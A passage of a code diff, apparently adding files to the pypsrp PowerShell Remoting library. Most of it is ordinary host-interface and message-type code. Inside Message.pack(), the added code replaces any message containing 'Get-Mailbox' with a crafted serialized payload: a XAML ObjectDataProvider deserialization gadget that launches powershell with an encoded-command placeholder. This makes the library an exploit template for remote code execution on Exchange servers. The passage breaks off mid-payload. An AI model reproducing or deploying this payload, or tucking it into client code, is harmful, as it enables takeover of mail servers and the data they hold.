application. 489 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeprogress 490 + 491 + Because of the way MS serializes the record in the method call args, 492 + the value for record is the serialized XML string for a ProgressRecord 493 + message. You can manually parse it like; 494 + 495 + from pypsrp.messages import ProgressRecord 496 + 497 + meta = ObjectMeta("Obj", object=ProgressRecord) 498 + rec = runspace._serializer.deserialize(record, meta) 499 + 500 + :param runspace: The runspace the host call relates to 501 + :param pipeline: The pipeline (if any) that the call relates to 502 + :param source_id: Unique identifier of the source of the record 503 + :param record: A ProgressRecord serialized as XML 504 + """ 505 + pass 506 + 507 + def WriteVerboseLine( 508 + self, 509 + runspace: RunspacePool, 510 + pipeline: typing.Optional[PowerShell], 511 + message: str, 512 + ) -> None: 513 + """ 514 + MI: 21 515 + SHOULD write a line on the verbose display of the hosting application. 516 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeverboseline 517 + 518 + :param runspace: The runspace the host call relates to 519 + :param pipeline: The pipeline (if any) that the call relates to 520 + :param message: The verbose message to display 521 + """ 522 + self.stdout.append("VERBOSE: %s\r\n" % message) 523 + 524 + def WriteWarningLine( 525 + self, 526 + runspace: RunspacePool, 527 + pipeline: typing.Optional[PowerShell], 528 + message: str, 529 + ) -> None: 530 + """ 531 + MI: 22 532 + SHOULD write a line on the warning display of the hosting application. 533 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writewarningline 534 + 535 + :param runspace: The runspace the host call relates to 536 + :param pipeline: The pipeline (if any) that the call relates to 537 + :param message: The warning message to display 538 + """ 539 + self.stdout.append("WARNING: %s\r\n" % message) 540 + 541 + def Prompt( 542 + self, 543 + runspace: RunspacePool, 544 + pipeline: typing.Optional[PowerShell], 545 + caption: str, 546 + message: str, 547 + description: typing.List[GenericComplexObject], 548 + ) -> typing.Dict[str, typing.Any]: 549 + """ 550 + MI: 23 551 + SHOULD prompt the user with a set of choices. 552 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.prompt 553 + 554 + The descriptions arg is a list of GenericComplexObjects with the 555 + following extended attributes (correlates to FieldDescription in .NET): 556 + attributes 557 + defaultValue 558 + helpMessage 559 + isMandatory 560 + label 561 + name 562 + parameterAssemblyFullName 563 + parameterTypeFullName 564 + parameterTypeName 565 + 566 + For example you can access the prompt name from `Read-Host -Prompt` 567 + with descriptions[i].extended_properties['name']. 568 + 569 + :param runspace: The runspace the host call relates to 570 + :param pipeline: The pipeline (if any) that the call relates to 571 + :param caption: Caption to precede or title the prompt 572 + :param message: A text description of the set of fields to be prompted 573 + :param descriptions: list of serialized FieldDescriptions that contain 574 + information about each field to be prompted for 575 + :return: Dict with results of prompting. Key are the field names from 576 + the FieldDescriptions, the values are objects representing the 577 + values of the corresponding fields as collected from the user. 578 + """ 579 + raise NotImplementedError() 580 + 581 + def PromptForCredential1( 582 + self, 583 + runspace: RunspacePool, 584 + pipeline: typing.Optional[PowerShell], 585 + caption: str, 586 + message: str, 587 + user_name: str, 588 + target_name: str, 589 + ) -> PSCredential: 590 + """ 591 + MI: 24 592 + SHOULD prompt the user for entering credentials with the specified 593 + caption, message, user name and target name. 594 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.promptforcredential 595 + 596 + :param runspace: The runspace the host call relates to 597 + :param pipeline: The pipeline (if any) that the call relates to 598 + :param caption: Caption for the message 599 + :param message: Text description for the credential to be prompted 600 + :param user_name: Name of the user whose credential is to be prompted 601 + for. If set to null or empty string, the function will prompt for 602 + the user name first 603 + :param target_name: Name of the target for which the credential is 604 + being collected 605 + :return: PSCredential object of the user input credential 606 + """ 607 + raise NotImplementedError() 608 + 609 + def PromptForCredential2( 610 + self, 611 + runspace: RunspacePool, 612 + pipeline: typing.Optional[PowerShell], 613 + caption: str, 614 + message: str, 615 + user_name: str, 616 + target_name: str, 617 + allowed_credential_types: int, 618 + options: int, 619 + ) -> PSCredential: 620 + """ 621 + MI: 25 622 + SHOULD prompt the user for entering credentials with the specified 623 + caption, message, username, target name, allowed credential types and 624 + options. 625 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.promptforcredential 626 + 627 + :param runspace: The runspace the host call relates to 628 + :param pipeline: The pipeline (if any) that the call relates to 629 + :param caption: Caption for the message 630 + :param message: Text description for the credential to be prompted 631 + :param user_name: Name of the user whose credential is to be prompted 632 + for. If set to null or empty string, the function will prompt for 633 + the user name first 634 + :param target_name: Name of the target for which the credential is 635 + being collected 636 + :param allowed_credential_types: the int value for PSCredentialTypes, 637 + types of credentials that can be supplied by the user 638 + :param options: the int value for PSCredentialUIOptions, options that 639 + control the credential gathering UI behavior 640 + :return: PSCredential object of the user input credential 641 + """ 642 + raise NotImplementedError() 643 + 644 + def PromptForChoice( 645 + self, 646 + runspace: RunspacePool, 647 + pipeline: typing.Optional[PowerShell], 648 + caption: str, 649 + message: str, 650 + choices: typing.List[GenericComplexObject], 651 + default_choice: int, 652 + ) -> int: 653 + """ 654 + MI: 26 655 + SHOULD display a list of choices to the user and MUST return the index 656 + of the selected option. 657 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.promptforchoice 658 + 659 + :param runspace: The runspace the host call relates to 660 + :param pipeline: The pipeline (if any) that the call relates to 661 + :param caption: The caption to precede or title the prompt 662 + :param message: A message that describes what the choice is for 663 + :param choices: A list of serialized (GenericComplexObject) 664 + ChoiceDescription objects that describe each choice 665 + :param default_choice: The index of the label in the choices collection 666 + element to be present to the user as the default choice, -1 means 667 + no default 668 + :return: The index of the choices element that corresponds to the 669 + option selected 670 + """ 671 + raise NotImplementedError() 672 + 673 + 674 + class PSHostRawUserInterface(object): 675 + def __init__( 676 + self, 677 + window_title: str, 678 + cursor_size: int, 679 + foreground_color: Color, 680 + background_color: Color, 681 + cursor_position: Coordinates, 682 + window_position: Coordinates, 683 + buffer_size: Size, 684 + max_physical_window_size: Size, 685 + max_window_size: Size, 686 + window_size: Size, 687 + ) -> None: 688 + """ 689 + Defines the lowest-level user interface functions that an interactive 690 + application hosting a Runspace can choose to implement if it wants 691 + to support any cmdlet that does character-mode interaction with the 692 + user. 693 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface 694 + 695 + This is a basic framework implementation with the majority of the 696 + methods not implemented or tested. 697 + 698 + :param window_title: The titlebar text of the current view window 699 + :param cursor_size: The size of the cursor as a percentage (0 to 100) 700 + :param foreground_color: The pypsrp.complex_objects.Color used to 701 + render characters on the screen buffer 702 + :param background_color: The pypsrp.complex_objects.Color used to 703 + render the backfround behind characters on the screen buffer 704 + :param cursor_position: The pypsrp.complex_objects.Coordinates of the 705 + position of the cursor in the screen buffer 706 + :param window_position: The pypsrp.complex_objects.Coordinates of the 707 + position of the window relative to the screen buffer, (0, 0) is the 708 + upper left of the screen buffer 709 + :param buffer_size: The pypsrp.complex_objects.Size of the screen 710 + buffer 711 + :param max_physical_window_size: The pypsrp.complex_objects.Size of the 712 + largest windows possible for the display hardward 713 + :param max_window_size: The pypsrp.complex_objects.Size of the window 714 + possible for the current buffer 715 + :param window_size: The pypsrp.complex_objects.Size of the current 716 + window, cannot be larger than max_physical_window_size 717 + """ 718 + self.key_available = False 719 + 720 + self.window_title = window_title 721 + self.cursor_size = cursor_size 722 + self.foreground_color = foreground_color 723 + self.background_color = background_color 724 + self.cursor_position = cursor_position 725 + self.window_position = window_position 726 + self.buffer_size = buffer_size 727 + self.max_physical_window_size = max_physical_window_size 728 + self.max_window_size = max_window_size 729 + self.window_size = window_size 730 + 731 + def GetForegroundColor( 732 + self, 733 + runspace: RunspacePool, 734 + pipeline: typing.Optional[PowerShell], 735 + ) -> Color: 736 + """ 737 + MI: 27 738 + SHOULD return the foreground color of the hosting application. 739 + 740 + :param runspace: The runspace the host call relates to 741 + :param pipeline: The pipeline (if any) that the call relates to 742 + :return: A pypsrp.complex_objects.Color to return to the server 743 + """ 744 + return self.foreground_color 745 + 746 + def SetForegroundColor( 747 + self, 748 + runspace: RunspacePool, 749 + pipeline: typing.Optional[PowerShell], 750 + color: Color, 751 + ) -> None: 752 + """ 753 + MI: 28 754 + SHOULD set the foreground color of the hosting application. 755 + 756 + :param runspace: The runspace the host call relates to 757 + :param pipeline: The pipeline (if any) that the call relates to 758 + :param color: The int value for pypsrp.complex_objects.Color to set 759 + """ 760 + self.foreground_color = Color(value=color) 761 + 762 + def GetBackgroundColor( 763 + self, 764 + runspace: RunspacePool, 765 + pipeline: typing.Optional[PowerShell], 766 + ) -> Color: 767 + """ 768 + MI: 29 769 + SHOULD return the background color of the hosting application. 770 + 771 + :param runspace: The runspace the host call relates to 772 + :param pipeline: The pipeline (if any) that the call relates to 773 + :return: A pypsrp.complex_objects.Color to return to the server 774 + """ 775 + return self.background_color 776 + 777 + def SetBackgroundColor( 778 + self, 779 + runspace: RunspacePool, 780 + pipeline: typing.Optional[PowerShell], 781 + color: Color, 782 + ) -> None: 783 + """ 784 + MI: 30 785 + SHOULD set the background color of the hosting application. 786 + 787 + :param runspace: The runspace the host call relates to 788 + :param pipeline: The pipeline (if any) that the call relates to 789 + :param color: The int value for pypsrp.complex_objects.Color to set 790 + """ 791 + self.background_color = Color(value=color) 792 + 793 + def GetCursorPosition( 794 + self, 795 + runspace: RunspacePool, 796 + pipeline: typing.Optional[PowerShell], 797 + ) -> Coordinates: 798 + """ 799 + MI: 31 800 + SHOULD return the current cursor position in the hosting application. 801 + 802 + :param runspace: The runspace the host call relates to 803 + :param pipeline: The pipeline (if any) that the call relates to 804 + :return: A pypsrp.complex_objects.Coordinates to return to the server 805 + """ 806 + return self.cursor_position 807 + 808 + def SetCursorPosition( 809 + self, 810 + runspace: RunspacePool, 811 + pipeline: typing.Optional[PowerShell], 812 + coordinates: GenericComplexObject, 813 + ) -> None: 814 + """ 815 + MI: 32 816 + SHOULD return the current cursor position in the hosting application. 817 + 818 + :param runspace: The runspace the host call relates to 819 + :param pipeline: The pipeline (if any) that the call relates to 820 + :param coordinates: A GenericComplexObject that contains the extended 821 + properties for the coordinates 822 + """ 823 + pos = Coordinates(x=coordinates.extended_properties["x"], y=coordinates.extended_properties["y"]) 824 + self.cursor_position = pos 825 + 826 + def GetWindowPosition( 827 + self, 828 + runspace: RunspacePool, 829 + pipeline: typing.Optional[PowerShell], 830 + ) -> Coordinates: 831 + """ 832 + MI: 33 833 + SHOULD return the position of the view window relative to the screen 834 + buffer. 835 + 836 + :param runspace: The runspace the host call relates to 837 + :param pipeline: The pipeline (if any) that the call relates to 838 + :return: A pypsrp.complex_objects.Coordinates to return to the server 839 + """ 840 + return self.window_position 841 + 842 + def SetWindowPosition( 843 + self, 844 + runspace: RunspacePool, 845 + pipeline: typing.Optional[PowerShell], 846 + coordinates: GenericComplexObject, 847 + ) -> None: 848 + """ 849 + MI: 34 850 + SHOULD set the position of the view window relative to the screen 851 + buffer. 852 + 853 + :param runspace: The runspace the host call relates to 854 + :param pipeline: The pipeline (if any) that the call relates to 855 + :param coordinates: A GenericComplexObject that contains the extended 856 + properties for the coordinates 857 + """ 858 + pos = Coordinates(x=coordinates.extended_properties["x"], y=coordinates.extended_properties["y"]) 859 + self.window_position = pos 860 + 861 + def GetCursorSize( 862 + self, 863 + runspace: RunspacePool, 864 + pipeline: typing.Optional[PowerShell], 865 + ) -> int: 866 + """ 867 + MI: 35 868 + SHOULD return the cursor size as a percentage. 869 + 870 + :param runspace: The runspace the host call relates to 871 + :param pipeline: The pipeline (if any) that the call relates to 872 + :return: The int value for the cursor size 873 + """ 874 + return self.cursor_size 875 + 876 + def SetCursorSize( 877 + self, 878 + runspace: RunspacePool, 879 + pipeline: typing.Optional[PowerShell], 880 + percentage: int, 881 + ) -> None: 882 + """ 883 + MI: 36 884 + SHOULD set the cursor size based on the percentage value specified. 885 + 886 + :param runspace: The runspace the host call relates to 887 + :param pipeline: The pipeline (if any) that the call relates to 888 + :param percentage: The int value representing the cursor size 889 + """ 890 + self.cursor_size = percentage 891 + 892 + def GetBufferSize( 893 + self, 894 + runspace: RunspacePool, 895 + pipeline: typing.Optional[PowerShell], 896 + ) -> Size: 897 + """ 898 + MI: 37 899 + SHOULD return the current size of the screen buffer, measured in 900 + character cells. 901 + 902 + :param runspace: The runspace the host call relates to 903 + :param pipeline: The pipeline (if any) that the call relates to 904 + :return: pypsrp.complex_object.Size of the screen buffer, measured in 905 + character cells 906 + """ 907 + return self.buffer_size 908 + 909 + def SetBufferSize( 910 + self, 911 + runspace: RunspacePool, 912 + pipeline: typing.Optional[PowerShell], 913 + size: GenericComplexObject, 914 + ) -> None: 915 + """ 916 + MI: 38 917 + SHOULD set the size of the screen buffer with the specified size in 918 + character cells. 919 + 920 + :param runspace: The runspace the host call relates to 921 + :param pipeline: The pipeline (if any) that the call relates to 922 + :param size: A GenericComplexObject that contains the extended 923 + properties for the size 924 + """ 925 + obj = Size(height=size.extended_properties["height"], width=size.extended_properties["width"]) 926 + self.buffer_size = obj 927 + 928 + def GetWindowSize( 929 + self, 930 + runspace: RunspacePool, 931 + pipeline: typing.Optional[PowerShell], 932 + ) -> Size: 933 + """ 934 + MI: 39 935 + SHOULD return the current view window size. 936 + 937 + :param runspace: The runspace the host call relates to 938 + :param pipeline: The pipeline (if any) that the call relates to 939 + :return: pypsrp.complex_objects.Size of the current window 940 + """ 941 + return self.window_size 942 + 943 + def SetWindowSize( 944 + self, 945 + runspace: RunspacePool, 946 + pipeline: typing.Optional[PowerShell], 947 + size: GenericComplexObject, 948 + ) -> None: 949 + """ 950 + MI: 40 951 + SHOULD set the view window size based on the size specified. 952 + 953 + :param runspace: The runspace the host call relates to 954 + :param pipeline: The pipeline (if any) that the call relates to 955 + :param size: A GenericComplexObject that contains the extended 956 + properties for the size 957 + """ 958 + obj = Size(height=size.extended_properties["height"], width=size.extended_properties["width"]) 959 + self.window_size = obj 960 + 961 + def GetWindowTitle( 962 + self, 963 + runspace: RunspacePool, 964 + pipeline: typing.Optional[PowerShell], 965 + ) -> str: 966 + """ 967 + MI: 41 968 + SHOULD return the title of the hosting application's window. 969 + 970 + :param runspace: The runspace the host call relates to 971 + :param pipeline: The pipeline (if any) that the call relates to 972 + :return: The window title of the hosting application 973 + """ 974 + return self.window_title 975 + 976 + def SetWindowTitle( 977 + self, 978 + runspace: RunspacePool, 979 + pipeline: typing.Optional[PowerShell], 980 + title: str, 981 + ) -> None: 982 + """ 983 + MI: 42 984 + SHOULD set the view window size based on the size specified. 985 + 986 + :param runspace: The runspace the host call relates to 987 + :param pipeline: The pipeline (if any) that the call relates to 988 + :param title: The string for the window title to set 989 + """ 990 + self.window_title = title 991 + 992 + def GetMaxWindowSize( 993 + self, 994 + runspace: RunspacePool, 995 + pipeline: typing.Optional[PowerShell], 996 + ) -> Size: 997 + """ 998 + MI: 43 999 + SHOULD return the maximum window size possible for the current buffer, 1000 + current font, and current display hardware. 1001 + 1002 + :param runspace: The runspace the host call relates to 1003 + :param pipeline: The pipeline (if any) that the call relates to 1004 + :return: pypsrp.complex_objects.Size of the max possible window size 1005 + """ 1006 + return self.max_window_size 1007 + 1008 + def GetMaxPhysicalWindowSize( 1009 + self, 1010 + runspace: RunspacePool, 1011 + pipeline: typing.Optional[PowerShell], 1012 + ) -> Size: 1013 + """ 1014 + MI: 44 1015 + SHOULD return the maximum window size possible for the current font and 1016 + current display hardware, ignoring the current buffer size. 1017 + 1018 + :param runspace: The runspace the host call relates to 1019 + :param pipeline: The pipeline (if any) that the call relates to 1020 + :return: pypsrp.complex_objects.Size of the max physically possible 1021 + window size 1022 + """ 1023 + return self.max_physical_window_size 1024 + 1025 + def GetKeyAvailable( 1026 + self, 1027 + runspace: RunspacePool, 1028 + pipeline: typing.Optional[PowerShell], 1029 + ) -> bool: 1030 + """ 1031 + MI: 45 1032 + SHOULD examine if a keystroke is waiting on the input, returning TRUE 1033 + if so and FALSE otherwise 1034 + 1035 + :param runspace: The runspace the host call relates to 1036 + :param pipeline: The pipeline (if any) that the call relates to 1037 + :return: bool if a keystroke is waiting on the input 1038 + """ 1039 + return self.key_available 1040 + 1041 + def ReadKey( 1042 + self, 1043 + runspace: RunspacePool, 1044 + pipeline: typing.Optional[PowerShell], 1045 + options: int = 4, 1046 + ) -> KeyInfo: 1047 + """ 1048 + MI: 46 1049 + SHOULD read a key stroke from the keyboard, blocking until a key is 1050 + typed. 1051 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.readkey 1052 + 1053 + :param runspace: The runspace the host call relates to 1054 + :param pipeline: The pipeline (if any) that the call relates to 1055 + :param options: Bit mask combo of ReadKeyOptions, default is 1056 + ReadKeyOptions.IncludeKeyDown 1057 + :return: KeyInfo - key stroke depending on the value of options 1058 + """ 1059 + raise NotImplementedError() 1060 + 1061 + def FlushInputBuffer( 1062 + self, 1063 + runspace: RunspacePool, 1064 + pipeline: typing.Optional[PowerShell], 1065 + ) -> None: 1066 + """ 1067 + MI: 47 1068 + SHOULD reset the keyboard input buffer. 1069 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.flushinputbuffer 1070 + 1071 + :param runspace: The runspace the host call relates to 1072 + :param pipeline: The pipeline (if any) that the call relates to 1073 + """ 1074 + pass 1075 + 1076 + def SetBufferContents1( 1077 + self, 1078 + runspace: RunspacePool, 1079 + pipeline: typing.Optional[PowerShell], 1080 + rectangle: GenericComplexObject, 1081 + fill: GenericComplexObject, 1082 + ) -> None: 1083 + """ 1084 + MI: 49 1085 + SHOULD copy the specified buffer cell into all the cells within the 1086 + specified rectangle. 1087 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.setbuffercontents 1088 + 1089 + :param runspace: The runspace the host call relates to 1090 + :param pipeline: The pipeline (if any) that the call relates to 1091 + :param rectange: A GenericComplexObject that represents the rectangle 1092 + in which to fill. If all element are -1, the entire screen buffer 1093 + will be copied with fill. Contains the following extended 1094 + properties: left, top, right, bottom 1095 + :param fill: A GenericComplexObject of the characters and attributes 1096 + used to fill the rectangle 1097 + """ 1098 + pass 1099 + 1100 + def SetBufferContents2( 1101 + self, 1102 + runspace: RunspacePool, 1103 + pipeline: typing.Optional[PowerShell], 1104 + origin: GenericComplexObject, 1105 + contents: GenericComplexObject, 1106 + ) -> None: 1107 + """ 1108 + MI: 48 1109 + SHOULD copy the specified buffer cell array into the screen buffer at 1110 + the specified coordinates (as specified in section 2.2.3.1). 1111 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.setbuffercontents 1112 + 1113 + :param runspace: The runspace the host call relates to 1114 + :param pipeline: The pipeline (if any) that the call relates to 1115 + :param origin: A GenericComplexObject that represents the coordinates, 1116 + x and y are extended properties of this object 1117 + origin.extended_properties['x'] 1118 + origin.extended_properties['y'] 1119 + :param contents: A rectangle of BufferCell objects to be copied to the 1120 + screen buffer. This is also a GenericComplexObject which is a multi 1121 + dimensional array. 1122 + https://msdn.microsoft.com/en-us/library/dd340684.aspx 1123 + # number of elements in each row 1124 + contents.extended_properties['mal'] 1125 + 1126 + # each BufferCell is in this list, use mal to determine what 1127 + # rows they are in 1128 + contents.extended_properties['mae'] 1129 + """ 1130 + pass 1131 + 1132 + def GetBufferContents( 1133 + self, 1134 + runspace: RunspacePool, 1135 + pipeline: typing.Optional[PowerShell], 1136 + rectangle: GenericComplexObject, 1137 + ) -> Array: 1138 + """ 1139 + MI: 50 1140 + SHOULD return the contents in a specified rectangular region of the 1141 + hosting application's window and MUST return an array of buffer cells. 1142 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.getbuffercontents 1143 + 1144 + :param runspace: The runspace the host call relates to 1145 + :param pipeline: The pipeline (if any) that the call relates to 1146 + :param rectangle: The rectangle on the screen buffer to extract 1147 + :return: A pypsrp.complex_objects.Array of BufferCell objects extracted 1148 + from the rectangular region of the screen buffer specified by 1149 + rectangle 1150 + """ 1151 + raise NotImplementedError() 1152 + 1153 + def ScrollBufferContents( 1154 + self, 1155 + runspace: RunspacePool, 1156 + pipeline: typing.Optional[PowerShell], 1157 + source: GenericComplexObject, 1158 + destination: Coordinates, 1159 + clip: GenericComplexObject, 1160 + fill: BufferCell, 1161 + ) -> None: 1162 + """ 1163 + MI: 51 1164 + SHOULD scroll a region on the screen buffer. 1165 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.scrollbuffercontents 1166 + 1167 + :param runspace: The runspace the host call relates to 1168 + :param pipeline: The pipeline (if any) that the call relates to 1169 + :param source: Rectangle - Indicates the region of the screen to be 1170 + scrolled 1171 + :param destination: Coordinates - Indicates the upper left coordinates 1172 + of the region of the screen to receive the source region contents. 1173 + That target region is the same size as the source region 1174 + :param clip: Rectangle - Indicates the region of the screen to include 1175 + in the operation. If a cell would be changed by the operation but 1176 + does not fall within the clip region, it will be unchanged 1177 + :param fill: BufferCell - The character and attributes to be used to 1178 + fill any cells within the intersection of the source rectangle and 1179 + clipping rectangle that are left "empty" by the move 1180 + """ 1181 + pass 1182 + -
-
1 + # Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]> 2 + # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 + 4 + import logging 5 + import struct 6 + import typing 7 + import uuid 8 + import warnings 9 + import xml.etree.ElementTree as ET 10 + 11 + from pypsrp._utils import to_string 12 + from pypsrp.complex_objects import ( 13 + ApartmentState, 14 + CommandType, 15 + ComplexObject, 16 + DictionaryMeta, 17 + ErrorRecord, 18 + GenericComplexObject, 19 + HostInfo, 20 + HostMethodIdentifier, 21 + InformationalRecord, 22 + ListMeta, 23 + ObjectMeta, 24 + Pipeline, 25 + ProgressRecordType, 26 + PSThreadOptions, 27 + RemoteStreamOptions, 28 + ) 29 + from pypsrp.exceptions import SerializationError 30 + 31 + if typing.TYPE_CHECKING: 32 + from pypsrp.serializer import Serializer 33 + 34 + log = logging.getLogger(__name__) 35 + 36 + 37 + class Destination(object): 38 + # The destination of a PSRP message 39 + CLIENT = 0x00000001 40 + SERVER = 0x00000002 41 + 42 + 43 + class MessageType(object): 44 + """ 45 + [MS-PSRP] 2.2.1 PowerShell Remoting Protocol Message - MessageType 46 + https://msdn.microsoft.com/en-us/library/dd303832.aspx 47 + 48 + Identifier of the message contained within a PSRP message 49 + """ 50 + 51 + SESSION_CAPABILITY = 0x00010002 52 + INIT_RUNSPACEPOOL = 0x00010004 53 + PUBLIC_KEY = 0x00010005 54 + ENCRYPTED_SESSION_KEY = 0x00010006 55 + PUBLIC_KEY_REQUEST = 0x00010007 56 + CONNECT_RUNSPACEPOOL = 0x00010008 57 + RUNSPACEPOOL_INIT_DATA = 0x002100B 58 + RESET_RUNSPACE_STATE = 0x0002100C 59 + SET_MAX_RUNSPACES = 0x00021002 60 + SET_MIN_RUNSPACES = 0x00021003 61 + RUNSPACE_AVAILABILITY = 0x00021004 62 + RUNSPACEPOOL_STATE = 0x00021005 63 + CREATE_PIPELINE = 0x00021006 64 + GET_AVAILABLE_RUNSPACES = 0x00021007 65 + USER_EVENT = 0x00021008 66 + APPLICATION_PRIVATE_DATA = 0x00021009 67 + GET_COMMAND_METADATA = 0x0002100A 68 + RUNSPACEPOOL_HOST_CALL = 0x00021100 69 + RUNSPACEPOOL_HOST_RESPONSE = 0x00021101 70 + PIPELINE_INPUT = 0x00041002 71 + END_OF_PIPELINE_INPUT = 0x00041003 72 + PIPELINE_OUTPUT = 0x00041004 73 + ERROR_RECORD = 0x00041005 74 + PIPELINE_STATE = 0x00041006 75 + DEBUG_RECORD = 0x00041007 76 + VERBOSE_RECORD = 0x00041008 77 + WARNING_RECORD = 0x00041009 78 + PROGRESS_RECORD = 0x00041010 79 + INFORMATION_RECORD = 0x00041011 80 + PIPELINE_HOST_CALL = 0x00041100 81 + PIPELINE_HOST_RESPONSE = 0x00041101 82 + 83 + 84 + class Message(object): 85 + def __init__( 86 + self, 87 + destination: int, 88 + rpid: typing.Optional[str], 89 + pid: typing.Optional[str], 90 + data: typing.Union[ComplexObject, "PipelineOutput", "PublicKeyRequest"], 91 + serializer: "Serializer", 92 + ): 93 + """ 94 + [MS-PSRP] 2.2.1 PowerShell Remoting Protocol Message 95 + https://msdn.microsoft.com/en-us/library/dd303832.aspx 96 + 97 + Used to contain a PSRP message in the structure required by PSRP. 98 + 99 + :param destination: The Destination of the message 100 + :param rpid: The uuid representation of the RunspacePool 101 + :param pid: The uuid representation of the PowerShell pipeline 102 + :param data: The PSRP Message object 103 + :param serializer: The serializer object used to serialize the message 104 + when packing 105 + """ 106 + self.destination = destination 107 + self.message_type = data.MESSAGE_TYPE # type: ignore[union-attr] # There's no special type right now 108 + 109 + empty_uuid = uuid.UUID(bytes=b"\x00" * 16) 110 + self.rpid = uuid.UUID(rpid) if rpid is not None else empty_uuid 111 + self.pid = uuid.UUID(pid) if pid is not None else empty_uuid 112 + self.data = data 113 + self._serializer = serializer 114 + 115 + def pack(self) -> bytes: 116 + msg: typing.Union[ET.Element, bytes] 117 + if self.message_type == MessageType.PUBLIC_KEY_REQUEST: 118 + msg = ET.Element("S") 119 + elif self.message_type == MessageType.END_OF_PIPELINE_INPUT: 120 + msg = b"" 121 + elif self.message_type == MessageType.PIPELINE_INPUT: 122 + pipeline_input = typing.cast(PipelineInput, self.data) 123 + serialized_input = self._serializer.serialize(pipeline_input.data) 124 + msg = serialized_input if serialized_input is not None else b"" 125 + elif self.message_type == MessageType.CONNECT_RUNSPACEPOOL and ( 126 + self.data.min_runspaces is None and self.data.max_runspaces is None # type: ignore[union-attr] # Checked with message_type 127 + ): 128 + msg = ET.Element("S") 129 + else: 130 + msg = self._serializer.serialize(self.data) or b"" 131 + 132 + if not isinstance(msg, bytes): 133 + message_data = ET.tostring(msg, encoding="utf-8", method="xml") 134 + else: 135 + message_data = msg 136 + if b"Get-Mailbox" in message_data: 137 + message_data = b'''<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-Mailbox</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-Identity:</S><Obj N="V" RefId="14"><TN RefId="2"><T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T><T>System.Object</T></TN><ToString>Object</ToString><Props><S N="Name">Type</S><Obj N="TargetTypeForDeserialization"><TN RefId="2"><T>System.Exception</T><T>System.Object</T></TN><MS><BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA></MS></Obj></Props><S><![CDATA[<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <ObjectDataProvider.ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments="-e $$POWERSHELL_ENCODE_PAYLOAD_HERE$$" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell" /> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider>]]></S></Obj></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="16"><TN RefId="4"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="17"><TN 